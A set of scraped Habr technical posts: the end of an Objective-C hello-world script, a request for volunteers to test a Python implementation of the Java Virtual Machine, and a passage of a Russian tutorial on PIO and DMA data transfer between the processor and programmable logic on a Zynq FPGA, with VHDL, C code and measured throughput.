#!/usr/bin/env objc-run
@import Foundation;
@interface Hello : NSObject
@end
@implementation Hello
- (void) sayHelloTo:name
{
printf("Hello %s, my address is %p\n", [name UTF8String], self);
}
@end
int main ()
{
id hello = [Hello new];
[hello sayHelloTo:@"sunshine"];
}
```
 | https://habr.com/ru/post/242621/ | null | ru | null |
# Java Virtual Machine in pure python
Коллеги,
Некоторое время назад я начал работать над обучающим проектом, совмещающим java + python + некоторые базовые алгоритмы. Промежуточный этап разработки — имплементация спецификации jdk7 на python. (Java исполняемая в python)
Код доступен [www.pyjvm.org](http://www.pyjvm.org) или [github](https://habrahabr.ru/users/github/): [github.com/andrewromanenco/pyjvm](https://github.com/andrewromanenco/pyjvm)
Фактически проект можно описать так:
`java -cp . some.code.ToExecute`
превращается в…
`python java.py -cp . some.code.ToExecute`
Несколько заметок (не вдаваясь в подробности будущих планов):
* python 2.7
* поддерживаются все byte code операции
* большинство конструкция языка (напр. исключения)
* многопоточность
* stdin/stdout
* примеры java кода в testcases/src
**(!!)** Стоит заметить, что далеко не все java api native методы поддерживаются — скорее всего ваше java приложение завершится сообщением: `Exception: Op (SOME_NAME_HERE) is not yet supported in natives`
**Что явно отсутствует в этом проекте: тестирование на различных платформах**
Если у вас есть 5 свободных минут, пожалуйста, попробуйте запустить проект на вашем компьютере.
1.
git clone [github.com/andrewromanenco/pyjvm.git](https://github.com/andrewromanenco/pyjvm.git)
2.
Если у вас НЕ установлен jdk7: запустите get\_rt.py из ./rt — чтобы скачать rt.jar (java classes)
Если jdk7 установлен — проверьте наличие JAVA\_HOME
3.
cd testcases
python test\_runner.py > output.txt
python test\_report.py output.txt
4.
Если тесты проходят — напишите комментарий к топику с информацией о вашей операционной системе.
Если же все плохо — напишите какой тест не проходит — лучше всего в github — c указанием вашей os.
Заранее спасибо за ваше время! | https://habr.com/ru/post/218577/ | null | ru | null |
# Zynq. Передача данных между процессорным модулем и программируемой логикой
Как и обещал в предыдущей статье ([Что такое Zynq? Краткий обзор](https://habr.com/ru/post/508292/)), поговорим о передаче данных между процессорным модулем и программируемой логикой. В предыдущей статье упоминалось четыре способа передачи данных, в статье будут рассмотрены два способа, которые нашли большее применение. Подробности под катом. Осторожно, много картинок!
Содержание
----------
[1 Общие сведения](#Generalinformation)
[2 Передача данных в режиме PIO](#PIO)
[2.1 Аппаратная часть](#HardPIO)
[2.2 Программная часть](#SoftPIO)
[2.3 Результаты](#ResPIO)
[3 Передача данных в режиме DMA](#DMA)
[3.1 Аппаратная часть](#HardDMA)
[3.2 Программная часть](#SoftDMA)
[3.3 Результаты](#ResDMA)
[4 Заключение](#Conclusion)
[5 Используемые источники](#SourcesUsed)
1 Общие сведения
----------------
В общем случае, передача данных между процессорным модулем и программируемой логикой возможна в двух режимах:
* PIO, используется порт GP.
* DMA, используется порт HP.
2 Передача данных в режиме PIO
------------------------------
В режиме PIO процессорный модуль работает с программируемой логикой как с набором регистров. Чтобы записать или прочитать определенный объем данных, нужно постоянное участие процессорного модуля. В режиме PIO инициатором всех транзакций является процессорный модуль. Подключение программируемой логики предполагает использование порта GP, где Master это процессорный модуль, Slave – программируемая логика.
[](https://habrastorage.org/webt/o4/nb/dj/o4nbdjaohn3o1zgvnrpf3vcl5mi.png)
Структура проекта при использовании PIO
### 2.1 Аппаратная часть
1. Создаем проект для Zybo в Vivado, тип микросхемы xc7z010clg400-1.
2. Создаем block design. Во Flow Navigator => Create Block Design => имя «ProcessingSystem» => OK.
3. Используя кнопку «+» на поле или сочетания клавиш Ctrl + I добавим процессорное ядро.
[](https://habrastorage.org/webt/3y/1m/pa/3y1mpaqhxco5jk2oo7581bhjnjm.png)
4. Подключим необходимые выводы, нажав кнопку «Run Block Automation» => OK.
5. Импортируем настройки процессорного модуля. Для этого выполним двойной клик на Zynq7 Processing System => Import XPS Setting => Укажем путь к файлу => OK => OK.
6. Создаем периферийное ядро, которое будет реализовывать доступ к регистрам в программируемой логике. Tools => Create and Package New IP => Next => Create a new AXI4 peripheral => Next => Задаем имя ядра, например «PIO\_registers» и указываем путь к каталогу для сохранения => Next => В этом окне можно выбрать количество регистров (4 хватит), тип интерфейса, в данном случае это Lite => Next => Add IP to the repository => Finish.
[](https://habrastorage.org/webt/u-/in/c7/u-inc7ybowmyka5n4ti6-1xagti.png)
7. После этих действий, созданное ядро появится в списке доступных для работы в IP каталоге. Можно его увидеть, если выбрать в Flow Navigator => IP Catalog.
[](https://habrastorage.org/webt/xb/bo/sj/xbbosjn1e9a0lyqptxkg4qsdubs.png)
8. Добавим созданное ядро на рабочую область. Ctrl + I => PIO\_registers.
[](https://habrastorage.org/webt/o-/au/am/o-auamnnxwaufdlcveitfgeib8u.png)
9. Отредактируем созданное ядро, добавив в него работу с перемычками и светодиодами. Для этого на блоке PIO\_registers правой кнопкой мыши => Edit in IP Packager => OK. Откроется новое окно Vivado с созданным ядром.
10. В файле PIO\_registers\_v1\_0.vhd добавим входные и выходные порты и подключим их к внутреннему модулю:
```
iSwitches : in std_logic_vector( 3 downto 0);
oLeds : out std_logic_vector( 3 downto 0);
...
iSwitches => iSwitches,
oLeds => oLeds,
```
11. В файле PIO\_registers\_v1\_0\_S\_AXI.vhd добавим входные и выходные порты:
```
iSwitches : in std_logic_vector( 3 downto 0);
oLeds : out std_logic_vector( 3 downto 0);
```
12. Опишем обработку входов и выходов:
```
signal SwitchesReg : std_logic_vector(31 downto 0);
...
process (SwitchesReg, slv_reg1, slv_reg2, slv_reg3, axi_araddr, S_AXI_ARESETN, slv_reg_rden)
variable loc_addr :std_logic_vector(OPT_MEM_ADDR_BITS downto 0);
begin
-- Address decoding for reading registers
loc_addr := axi_araddr(ADDR_LSB + OPT_MEM_ADDR_BITS downto ADDR_LSB);
case loc_addr is
when b"00" =>
reg_data_out <= SwitchesReg;
when b"01" =>
reg_data_out <= slv_reg1;
when b"10" =>
reg_data_out <= slv_reg2;
when b"11" =>
reg_data_out <= slv_reg3;
when others =>
reg_data_out <= (others => '0');
end case;
end process;
process (S_AXI_ACLK) begin
if (rising_edge(S_AXI_ACLK)) then
if (S_AXI_ARESETN = '0') then
SwitchesReg <= (others => '0');
else
SwitchesReg( 3 downto 0) <= iSwitches;
end if;
end if;
end process;
process (S_AXI_ACLK) begin
if (rising_edge(S_AXI_ACLK)) then
if (S_AXI_ARESETN = '0') then
oLeds <= (others => '0');
else
oLeds <= slv_reg1( 3 downto 0);
end if;
end if;
end process;
```
13. Сохраняем vhd файлы, открываем вкладку Package IP – PIO\_registers. Обновим ядро с учетом изменённых файлов. Вкладка Compatibility меняем Life Cycle на Production. Вкладка File Groups => Merge changes from File Group Wizard. Вкладка Customization Parameters => Merge changes from Customization Parameters Wizard. Вкладка Review and Package => Re-Package IP => Yes. Vivado с созданным ядром закроется.
14. В окне Block Design выбираем Report IP Status, в появившимся внизу окне выбираем Upgrade Selected => OK => Skip => OK.
[](https://habrastorage.org/webt/ss/bo/pe/ssbopeabqgs-wdcodmnygqetf0y.png)
15. Подключим созданное ядро к процессору. Для этого нажимаем Run Connection Automation => OK.
[](https://habrastorage.org/webt/ty/jq/kz/tyjqkzdzv3gxxjta5y7cmulzoau.png)
16. Подключим порты созданного ядра к портам block design’a. Для этого выделяем порт, нажимаем правую кнопку => Make External.
[](https://habrastorage.org/webt/c4/-a/oa/c4-aoa00bmt7aa4-_7uvsavqrc0.png)
17. Переименуем полученные порты для удобства подключения iSwitches\_0 => iSwitches. oLeds\_0 => oLeds.
[](https://habrastorage.org/webt/to/kz/co/tokzcob_3jycxkjqjwdscq7ccqy.png)
18. Проверим полученный дизайн => Tools => Validate Design => Ok.
19. File => Save Block Design.
20. Переключаемся из режима работы с block design в режим работы с проектом, нажав во Flow Navigator => Project Manager.
21. Смотрим, как описаны порты у полученного block design’a. Для этого выбраем файл ProcessingSystem.bd, правой кнопкой => View Instantiation Template.
[](https://habrastorage.org/webt/1k/g-/2u/1kg-2uuusxv7znycfarclwckw0i.png)
22. Создаем vhd файл top-уровня и подключаем в нем полученный block design. File => Add Sources => Add or create design sources => Next => Create File => вводим имя файла и указываем путь до каталога => OK => Finish => OK => Yes.
23. Заполняем файл:
```
entity PioTransfer is
port ( DDR_addr : inout std_logic_vector(14 downto 0 );
DDR_ba : inout std_logic_vector( 2 downto 0 );
DDR_cas_n : inout std_logic;
DDR_ck_n : inout std_logic;
DDR_ck_p : inout std_logic;
DDR_cke : inout std_logic;
DDR_cs_n : inout std_logic;
DDR_dm : inout std_logic_vector( 3 downto 0 );
DDR_dq : inout std_logic_vector(31 downto 0 );
DDR_dqs_n : inout std_logic_vector( 3 downto 0 );
DDR_dqs_p : inout std_logic_vector( 3 downto 0 );
DDR_odt : inout std_logic;
DDR_ras_n : inout std_logic;
DDR_reset_n : inout std_logic;
DDR_we_n : inout std_logic;
FIXED_IO_ddr_vrn : inout std_logic;
FIXED_IO_ddr_vrp : inout std_logic;
FIXED_IO_mio : inout std_logic_vector( 53 downto 0 );
FIXED_IO_ps_clk : inout std_logic;
FIXED_IO_ps_porb : inout std_logic;
FIXED_IO_ps_srstb : inout std_logic;
-- Control
iSwitches : in std_logic_vector( 3 downto 0 );
oLeds : out std_logic_vector( 3 downto 0 ) );
end PioTransfer;
architecture Behavioral of PioTransfer is
begin
PS : entity WORK.ProcessingSystem
port map ( DDR_addr => DDR_addr,
DDR_ba => DDR_ba,
DDR_cas_n => DDR_cas_n,
DDR_ck_n => DDR_ck_n,
DDR_ck_p => DDR_ck_p,
DDR_cke => DDR_cke,
DDR_cs_n => DDR_cs_n,
DDR_dm => DDR_dm,
DDR_dq => DDR_dq,
DDR_dqs_n => DDR_dqs_n,
DDR_dqs_p => DDR_dqs_p,
DDR_odt => DDR_odt,
DDR_ras_n => DDR_ras_n,
DDR_reset_n => DDR_reset_n,
DDR_we_n => DDR_we_n,
FIXED_IO_ddr_vrn => FIXED_IO_ddr_vrn,
FIXED_IO_ddr_vrp => FIXED_IO_ddr_vrp,
FIXED_IO_mio => FIXED_IO_mio,
FIXED_IO_ps_clk => FIXED_IO_ps_clk,
FIXED_IO_ps_porb => FIXED_IO_ps_porb,
FIXED_IO_ps_srstb => FIXED_IO_ps_srstb,
-- Control
iSwitches => iSwitches,
oLeds => oLeds );
end Behavioral;
```
24. Добавляем используемые входы и выходы в файл пользовательских ограничений. File => Add sources => Add or create constrains => Next => Create File => вводим имя файла и указываем путь до каталога => OK => Finish.
[](https://habrastorage.org/webt/8q/yz/dd/8qyzddjnobvba8nuyknnk4kl3tc.png)
25. Заполняем файл согласно принципиальной схеме:
```
#Switches
set_property PACKAGE_PIN G15 [get_ports {iSwitches[0]}]
set_property PACKAGE_PIN P15 [get_ports {iSwitches[1]}]
set_property PACKAGE_PIN W13 [get_ports {iSwitches[2]}]
set_property PACKAGE_PIN T16 [get_ports {iSwitches[3]}]
set_property IOSTANDARD LVCMOS33 [get_ports {iSwitches[*]}]
#LEDs
#IO_L23P_T3_35
set_property PACKAGE_PIN M14 [get_ports {oLeds[0]}]
set_property PACKAGE_PIN M15 [get_ports {oLeds[1]}]
set_property PACKAGE_PIN G14 [get_ports {oLeds[2]}]
set_property PACKAGE_PIN D18 [get_ports {oLeds[3]}]
set_property IOSTANDARD LVCMOS33 [get_ports {oLeds[*]}]
```
26. Соберем проект. Для этого во Flow Navigator => Generate Bitstream => OK. Появившиеся окно, что создание прошивки успешно завершено, закрываем.
27. Экспортируем полученные файлы для разработки приложения на процессорном модуле. Для этого выбираем File => Export => Export Hardware => вводим имя файла и указываем путь до каталога => OK. Получаем на выходе файл .xsa
[](https://habrastorage.org/webt/c3/1v/3w/c31v3wksuyx19soq95wqbac98co.png)
### 2.2 Программная часть
Теперь нужно написать приложение, работающее на процессорном модуле, которое будет читать данные из программируемой логики и писать данные в программируемую логику. Необходимо запустить среду разработки Vitis и создать приложение по шаблону Hello World, пример этого показан в предыдущей статье[1].
Адрес созданного ядра для обращения со стороны процессорного модуля можно посмотреть в Vivado. В Flow Navigator => Open Block Design => Вкладка Address Editor. В данном случае адрес равен 0x43C0\_0000. По этому адресу расположен регистр, в котором хранится признак, в каком состоянии находятся переключатели. Соответственно, по адресу 0x43C0\_0004 расположен регистр, который подключен к светодиодам.
В Vitis откроем файл helloworld.c и заполним:
```
int main()
{
init_platform();
u32 Status = 0x00;
u32 Command = 0x00;
xil_printf("Hello World\n\r");
while (1)
{
Status = Xil_In32(0x43C00000);
xil_printf("Status %x\n\r", Status);
if (Status == 0x01 || Status == 0x02 || Status == 0x04 || Status == 0x08)
{
Command = 0x01;
}
else if (Status == 0x03 || Status == 0x5 || Status == 0x06 || Status == 0x9 || Status == 0xA || Status == 0x0C)
{
Command = 0x03;
}
else if (Status == 0x7 || Status == 0x0B || Status == 0x0D || Status == 0x0E)
{
Command = 0x7;
}
else if (Status == 0x0F)
{
Command = 0x0F;
}
else
{
Command = 0x00;
}
xil_printf("Command %x\n\r", Command);
Xil_Out32(0x43C00004, Command);
usleep(1000000);
}
cleanup_platform();
return 0;
}
```
Где функция Xil\_In32 используется для чтения 4х байт данных из программируемой логики, а Xil\_Out32 соответственно для записи 4х байт данных в программируемую логику.
### 2.3 Результаты
Собираем приложение, создаем файл прошивки и заливаем в плату. Описано в предыдущей статье[1].
Запускаем, смотрим в мониторе com-порта:
```
Xilinx First Stage Boot Loader
Release 2019.2 Dec 9 2020-15:16:52
Silicon Version 3.1
Boot mode is QSPI
SUCCESSFUL_HANDOFF
FSBL Status = 0x1
Hello World
Status 0
Command 0
Status 8
Command 1
Status C
Command 3
Status D
Command 7
Status F
Command F
```
Все работает корректно.
Таким образом, для доступа в режиме PIO к программируемой логике, необходимо в программируемой логике реализовать один из интерфейсов связи с процессорным модулем, где инициатором является процессорный модуль. Такой интерфейс представлен только портом GP.
Посмотрим, как быстро обрабатываются запросы к программируемой логике через порт GP. Для этого в приложении, работающем на процессорном модуле, добавим подряд несколько записей в регистр в программируемой логике, и измерим время между транзакциями в программируемой логике с помощью вытащенных в отладчик сигналов шины.
Когда шина Axi-Lite работает на частоте 100 МГц, пауза между запросами составляет в среднем 23 такта. Изменим частоту работы шины до 200 МГц. Пауза между запросами становится равной в среднем 33 такта.
Итого, 4 байта данных передаются на частоте 100 МГц 23 такта. Скорость составляет: 32/(23\*10нс)= 139 130 434 бит/с ≈ 135 869 Кбит/с ≈ 132 Мбит/с ≈ 16 Мбайт/с.
Итого, 4 байта данных передаются на частоте 200 МГц 33 такта. Скорость составляет 32/(33\*5нс)= 193 939 393 бит/с ≈ 189 393 Кбит/с ≈ 184 Мбит/с ≈ 23 Мбайт/с.
Таким образом, можно достичь скорости в 23 Мбайт/с, но при постоянном участии процессорного модуля.
Проект: [github.com/Finnetrib/PioTransfer](https://github.com/Finnetrib/PioTransfer)
3 Передача данных в режиме DMA
------------------------------
Передача данных в режиме DMA подразумевает, что процессорный модуль настраивает параметры обмена данными и не участвует непосредственно в обмене. Таким образом, достигается две цели: снижение нагрузки на процессорный модуль и увеличение скорости обработки данных. Платой за это является усложнение аппаратуры.
В Zynq возможно использование нескольких ip-ядер, реализующих функции DMA. В данной статье будет рассмотрено ядро AXI DMA [2].
В AXI DMA есть два канала MM2S и S2MM. Канал MM2S (Memory-mapped to stream) используется для передачи данных из процессорного модуля в программируемую логику. Канал S2MM (Stream to memory-mapped) используется для передачи данных из программируемой логики в процессорный модуль. Каналы работают независимо друг от друга.
AXI DMA подразумевает два варианта использования:
* Direct Register Mode
* Scatter / Gather Mode
В Direct Register Mode используется один набор регистров, который позволяет передать один буфер из программируемой логики в процессорный модуль и наоборот. Например, для передачи буфера данных из программируемой логики в процессорный модуль, необходимо заполнить поля адреса и размера буфера и запустить DMA. В результате DMA заполнит один буфер в процессорном модуле и остановится.
В Scatter / Gather Mode используется список дескрипторов. DMA обрабатывает буфер, описанный в дескрипторе, и переходит к обработке буфера, описанного в следующем дескрипторе.
### 3.1 Аппаратная часть
[](https://habrastorage.org/webt/3k/d7/lm/3kd7lm6muowpe9-daq3vpctz13e.png)
Структура проекта при использовании DMA
Рассмотрим вариант, когда список дескрипторов хранится в программируемой логике. У блока DMA есть порт управления, который подключается к порту GP процессорного модуля. Также имеется порт HP, используемый для обращения к ОЗУ процессорного модуля. Список дескрипторов хранится в памяти дескрипторов. Доступ к памяти дескрипторов возможен как из DMA, так и из процессорного модуля. Процессорный модуль заполняет дескрипторы, DMA вычитывает дескрипторы.
1. Создаем block design. Во Flow Navigator => Create Block Design => имя «ProcessingSystem» => OK.
2. Используя кнопку «+» на поле или сочетания клавиш Ctrl + I добавим процессорное ядро.
3. Подключим необходимые выводы, нажав кнопку «Run Block Automation» => OK.
4. Импортируем настройки процессорного модуля. Для этого выполним двойной клик на Zynq7 Processing System => Import XPS Setting => Укажем путь к файлу => OK => OK
5. Добавим на поле одно ядро AXI Direct Memory Access, два ядра AXI BRAM Controller, одно ядро Block Memory Generator.
[](https://habrastorage.org/webt/j-/9q/8h/j-9q8hp6fwon8ccvuzn-uueav_4.png)
6. Двойной клик на ядре AXI Direct Memory Access, настроим ядро. Галка «Enable Scatter Gather Engine» включит режим работы по списком дескрипторов, оставляем. Галка «Enable Control / Status Stream» используется для работы совместно с ядром AXI Ethernet, снимаем. Поле «With of Buffer Length Register» задает количество разрядов, используемых при обработке размера буфера. Запишем в поле число 20, что даст максимальный размер буфера в 2^20 = 1 048 576 байт. Поле «Address With» задает разрядность адреса. Значения в 32 будет достаточно. Галки «Enable Read Channel» и «Enable Write Channel» позволяют включить каждый из каналов независимо друг от друга. Переключатель «Enable Single AXI4 Data interface» позволяет сократить количество линий связи на диаграмме, поэтому включим его. Нажимаем «OK» после настройки.
[](https://habrastorage.org/webt/mi/gx/p9/migxp9izsluycw7nig0rlqlfsp4.png)
7. Двойной клик на ядре AXI BRAM Controller. В поле «Number of BRAM Interfaces» выбираем значение 1. Нажимаем «OK» после настройки.
[](https://habrastorage.org/webt/iv/k4/vd/ivk4vdq18miggzvuxbhmk5a2fog.png)
8. Повторяем для второго ядра AXI BRAM Controller.
9. Двойной клик на ядре Block Memory Generator. В поле «Memory Type» выбираем «True Dual Port RAM». Нажимаем «OK» после настройки.
[](https://habrastorage.org/webt/jq/nb/es/jqnbeshoehqeu8dv6ulu1vpe8pa.png)
10. Подключим полученный блок памяти к контроллерам памяти. Для этого нажимаем «Run Connection Automation» => Галку на axi\_bram\_ctrl\_0 BRAM\_PORTA => Галку на axi\_bram\_ctrl\_1 BRAM\_PORTA => OK.
[](https://habrastorage.org/webt/yt/sn/43/ytsn432kxqk4ygkomrrhwnaypca.png)
11. Подключим нулевой контроллер памяти к процессорному модулю. Для этого нажимаем «Run Connection Automation» => Галку на axi\_bram\_ctrl\_0 S\_AXI => Выбрать Master Interface /processing\_system7\_0/M\_AXI\_GP0 => OK. Таким образом, процессорный модуль получит доступ к памяти дескрипторов.
[](https://habrastorage.org/webt/vh/my/6f/vhmy6fu8kpvmcqyi8yqpkeacpri.png)
12. Подключим первый контроллер памяти к ядру DMA. Для этого нажимаем «Run Connection Automation» => Галку на axi\_bram\_ctrl\_1 S\_AXI => Выбрать Master Interface /axi\_dma\_0/M\_AXI\_SG => OK. Таким образом, DMA контроллер также получит доступ к памяти дескрипторов.
[](https://habrastorage.org/webt/io/2f/m_/io2fm_r41upotav0mkqr4shmraq.png)
13. Подключим управление DMA к процессорному модулю. Для этого нажимаем «Run Connection Automation» => Галку на axi\_dma\_0 S\_AXI\_LITE => OK.
[](https://habrastorage.org/webt/so/fq/td/sofqtd4dknaairafhhljs8d9hmc.png)
14. Включим в процессорном модуле порт для доступа к оперативной памяти процессорного модуля – HP и прерывания из программируемой логики. Для этого двойной клик на ядре Zynq7 Processing System => Вкладка PS-PL Configuration => Развернем HP Slave AXI Interface => Галку на S AXI HP0 Interface.
[](https://habrastorage.org/webt/qv/2d/mn/qv2dmn45fvavafuxr8u7xkf5n_0.png)
Вкладка Interrupts => Развернем Fabric Interrupts => Развернуть PL-PS Interrupts Ports => Галку на Fabric Interrupts => Галку на IRQ\_F2P => OK.
[](https://habrastorage.org/webt/n4/b_/47/n4b_47rduldemnhxjonuz2zj0dm.png)
15. Подключим DMA к порту для доступа к оперативной памяти. Для этого нажимаем «Run Connection Automation» => Галку на processing\_system7\_0 S\_AXI\_HP0 => Выбираем Master Interface /axi\_dma\_0/M\_AXI => OK.
[](https://habrastorage.org/webt/sg/7c/ht/sg7chtyesdbmqbhuhffd1kfggce.png)
16. Подключим прерывания от DMA к процессорному модулю. Для этого добавим на поле блок Concat через кнопку + или сочетание клавиш Ctrl + I.
17. Наведем курсор на вывод mm2s\_introut DMA, курсор примет форму карандаша. Кликаем на вывод mm2s\_introut и не отпуская кнопку мыши тянем линию к входу In0 блока Concat. Доводим до блока, после появления зеленой галочки, отпускаем.
[](https://habrastorage.org/webt/vf/5y/b8/vf5yb8ifagbl6xk2amdho5sdzji.png)
18. Повторяем также для вывода s2mm\_introut, который подключим к входу In1 блока Concat.
19. Выход dout блока Concat таким же образом подключим к входу IRQ\_F2P ядра Zynq7 Processing System.
20. DMA подключено. Теперь необходимо подключить вход и выход DMA для данных. Так как обработка данных планируется за пределами Block Design, вытащим наружу тактовый сигнал и сигнал сброса. Для этого правый клик на свободном месте поля и выбираем Create Port или сочетание клавиш Ctrl + K. Заполняем имя порта, направление и тип => OK.
[](https://habrastorage.org/webt/2q/db/uq/2qdbuq-kovws8zxmssbxbjjy7ni.png)
21. Наведем курсор мыши на созданный порт и после появления карандаша подключим порт к выводу FCLK\_CLK0 ядра Zynq7 Processing System.
22. Подключим сигнал сброса. Для этого выделяем вывод peripheral\_reset ядра Processor System Reset => правой кнопкой мыши => Make External.
23. Клик на полученный порт, зададим новое имя порта и укажем, на каком тактовом сигнале необходимо обрабатывать данный сигнал.
[](https://habrastorage.org/webt/rz/kz/hg/rzkzhgkj-rdh4_8pcfzyae65yqa.png)
24. Подключим вход данных DMA. Для этого выделим порт S\_AXIS\_S2MM блока AXI Direct Memory Access => правой кнопкой мыши => Make External.
25. Клик на полученный порт, зададим новое имя порта и укажем, на каком тактовом сигнале необходимо обрабатывать данный сигнал.
[](https://habrastorage.org/webt/pe/wr/jk/pewrjknowvafx7oki78bnzl1ia8.png)
26. Подключим выход данных DMA. Для этого выделим порт M\_AXIS\_MM2S блока AXI Direct Memory Access => правой кнопкой мыши => Make External.
27. Клик на полученный порт, зададим новое имя порта и укажем, на каком тактовом сигнале необходимо обрабатывать данный сигнал.
[](https://habrastorage.org/webt/cx/qp/ua/cxqpua60jksjpz9bavlx0j83u3g.png)
28. Подключим входы тактового сигнала для портов S\_AXIS\_S2MM и M\_AXIS\_MM2S у блока AXI Direct Memory Access. Для этого нажимаем «Run Connection Automation» => Галку на m\_axi\_mm2s\_aclk и m\_axi\_s2mm\_aclk => OK
29. Теперь необходимо изменить адресное пространство так, чтобы при обращении к блоку памяти от процессорного модуля и от блока DMA адреса были одинаковы. Заодно и увеличим размер памяти для хранения дескрипторов. Вкладка Address Editor => processing\_system7\_0 / Data / axi\_bram\_ctrl\_0 => Offset Address 0x4000\_0000 => Range 32K. Далее axi\_dma\_0 / Data\_SG / axi\_bram\_ctrl\_1 => Offset Address 0x4000\_0000 => Range 32K.
[](https://habrastorage.org/webt/qf/yq/gn/qfyqgn8t2siv0cgz_g_ukzxidlw.png)
30. Tools => Validate Design => OK. Полученная схема:
[](https://habrastorage.org/webt/bf/uw/cv/bfuwcve6_cfckwn8x1vz2jr-n-q.png)
31. File => Save Block Design.
32. Переключаемся из режима работы с block design в режим работы с проектом, нажав во Flow Navigator => Project Manager.
33. Смотрим, как описаны порты у полученного block design’a. Для этого выбираем файл ProcessingSystem.bd, правой кнопкой => View Instantiation Template.
34. Создаем vhd файл top-уровня и подключаем в нем полученный block design. File => Add Sources => Add or create design sources => Next => Create File => вводим имя файла и указываем путь до каталога => OK => Finish => OK => Yes.
[](https://habrastorage.org/webt/xl/wh/b2/xlwhb25simeteqrjzzwa5shixhc.png)
35. Заполняем файл:
```
entity DmaTransfer is
port ( DDR_addr : inout std_logic_vector(14 downto 0);
DDR_ba : inout std_logic_vector( 2 downto 0);
DDR_cas_n : inout std_logic;
DDR_ck_n : inout std_logic;
DDR_ck_p : inout std_logic;
DDR_cke : inout std_logic;
DDR_cs_n : inout std_logic;
DDR_dm : inout std_logic_vector( 3 downto 0);
DDR_dq : inout std_logic_vector(31 downto 0);
DDR_dqs_n : inout std_logic_vector( 3 downto 0);
DDR_dqs_p : inout std_logic_vector( 3 downto 0);
DDR_odt : inout std_logic;
DDR_ras_n : inout std_logic;
DDR_reset_n : inout std_logic;
DDR_we_n : inout std_logic;
FIXED_IO_ddr_vrn : inout std_logic;
FIXED_IO_ddr_vrp : inout std_logic;
FIXED_IO_mio : inout std_logic_vector(53 downto 0);
FIXED_IO_ps_clk : inout std_logic;
FIXED_IO_ps_porb : inout std_logic;
FIXED_IO_ps_srstb : inout std_logic );
end DmaTransfer;
architecture Behavioral of DmaTransfer is
signal RxData : std_logic_vector(31 downto 0);
signal RxKeep : std_logic_vector( 3 downto 0);
signal RxLast : std_logic;
signal RxValid : std_logic;
signal RxReady : std_logic;
signal TxData : std_logic_vector(31 downto 0);
signal TxKeep : std_logic_vector( 3 downto 0);
signal TxLast : std_logic;
signal TxValid : std_logic;
signal TxReady : std_logic;
signal clk : std_logic;
signal rst : std_logic;
signal FifoDataW : std_logic_vector(36 downto 0);
signal FifoWrite : std_logic;
signal FifoRead : std_logic;
signal FifoDataR : std_logic_vector(36 downto 0);
signal FifoEmpty : std_logic;
signal FifoFull : std_logic;
begin
PS : entity WORK.ProcessingSystem
port map ( DDR_addr => DDR_addr,
DDR_ba => DDR_ba,
DDR_cas_n => DDR_cas_n,
DDR_ck_n => DDR_ck_n,
DDR_ck_p => DDR_ck_p,
DDR_cke => DDR_cke,
DDR_cs_n => DDR_cs_n,
DDR_dm => DDR_dm,
DDR_dq => DDR_dq,
DDR_dqs_n => DDR_dqs_n,
DDR_dqs_p => DDR_dqs_p,
DDR_odt => DDR_odt,
DDR_ras_n => DDR_ras_n,
DDR_reset_n => DDR_reset_n,
DDR_we_n => DDR_we_n,
FIXED_IO_ddr_vrn => FIXED_IO_ddr_vrn,
FIXED_IO_ddr_vrp => FIXED_IO_ddr_vrp,
FIXED_IO_mio => FIXED_IO_mio,
FIXED_IO_ps_clk => FIXED_IO_ps_clk,
FIXED_IO_ps_porb => FIXED_IO_ps_porb,
FIXED_IO_ps_srstb => FIXED_IO_ps_srstb,
-- Dma Channel
iDmaRx_tdata => RxData,
iDmaRx_tkeep => RxKeep,
iDmaRx_tlast => RxLast,
iDmaRx_tready => RxReady,
iDmaRx_tvalid => RxValid,
oDmaTx_tdata => TxData,
oDmaTx_tkeep => TxKeep,
oDmaTx_tlast => TxLast,
oDmaTx_tready => TxReady,
oDmaTx_tvalid => TxValid,
-- System
oZynqClk => clk,
oZynqRst(0) => rst );
FifoDataW(31 downto 0) <= not TxData;
FifoDataW(35 downto 32) <= TxKeep;
FifoDataW( 36) <= TxLast;
FifoWrite <= TxValid and not FifoFull;
TxReady <= not FifoFull;
EchFifo : entity WORK.SyncFifoBram37x1024
port map ( clk => clk,
srst => rst,
din => FifoDataW,
wr_en => FifoWrite,
rd_en => FifoRead,
dout => FifoDataR,
full => open,
empty => FifoEmpty,
prog_full => FifoFull );
RxData <= FifoDataR(31 downto 0);
RxKeep <= FifoDataR(35 downto 32);
RxLast <= FifoDataR(36);
RxValid <= not FifoEmpty;
FifoRead <= RxReady;
end Behavioral;
```
36. Соберем проект. Для этого во Flow Navigator => Generate Bitstream => OK. Появившиеся окно, что создание прошивки успешно завершено, закрываем.
37. Экспортируем полученные файлы для разработки приложения на процессоре. Для этого выбираем File => Export => Export Hardware => вводим имя файла и указываем путь до каталога => OK. Получаем на выходе файл .xsa
[](https://habrastorage.org/webt/kg/zp/40/kgzp40b8uo9z_xsodgzay6pb40s.png)
### 3.2 Программная часть
Теперь нужно написать приложение, работающее на процессорном модуле. Необходимо запустить среду разработки Vitis и создать приложение по шаблону Hello World, пример этого показан в предыдущей статье.
Формат дескрипторов для Axi DMA описан в документе на ядро [2]. Дескриптор имеет размер 52 байта, однако, адрес, по которому расположен дескриптор, должен быть выровнен на 64 байта.
Кратко по формату дескриптора:
* NXTDESC — адрес следующего дескриптора;
* NXTDESC\_MSB — старшие 32 бита адреса следующего дескриптора;
* BUFFER\_ADDRESS — адрес буфера;
* BUFFER\_ADDRESS\_MSB — старшие 32 бита адреса буфера;
* RESERVED — не используется;
* RESERVED — не используется;
* CONTROL — задает размер буфера, признаки начала и конца пакета;
* STATUS — показывает, сколько байт принято/передано, обработан/не обработан;
* APP0 — используется для работы с каналом «Control/Status Stream»;
* APP1 — используется для работы с каналом «Control/Status Stream»;
* APP2 — используется для работы с каналом «Control/Status Stream»;
* APP3 — используется для работы с каналом «Control/Status Stream»;
* APP4 — используется для работы с каналом «Control/Status Stream».
Адреса в программируемой логике для обращения со стороны процессорного модуля можно посмотреть в Vivado. В Flow Navigator => Open Block Design => Вкладка Address Editor. В данном случае адрес DMA равен 0x4040\_0000. Адрес начала области памяти для дескрипторов равен 0x4000\_0000.
1. В Vitis откроем файл helloworld.c и подключим следующие библиотеки
```
#include
#include "sleep.h"
#include "xil\_cache.h"
#include "xil\_mem.h"
```
2. Каждый дескриптор должен начинаться с адреса, кратного 64 байтам. Следовательно, в 32Кбайта поместятся 32 768 / 64 = 512 дескрипторов. По 256 на прием и 256 на передачу.
```
#define DESC_COUNT 256
...
/** Descriptors for receive */
struct SGDesc RxDesc[DESC_COUNT];
/** Descriptors for transmit */
struct SGDesc TxDesc[DESC_COUNT];
```
3. Выключим работу кэша, чтобы не думать, когда его сбросить.
```
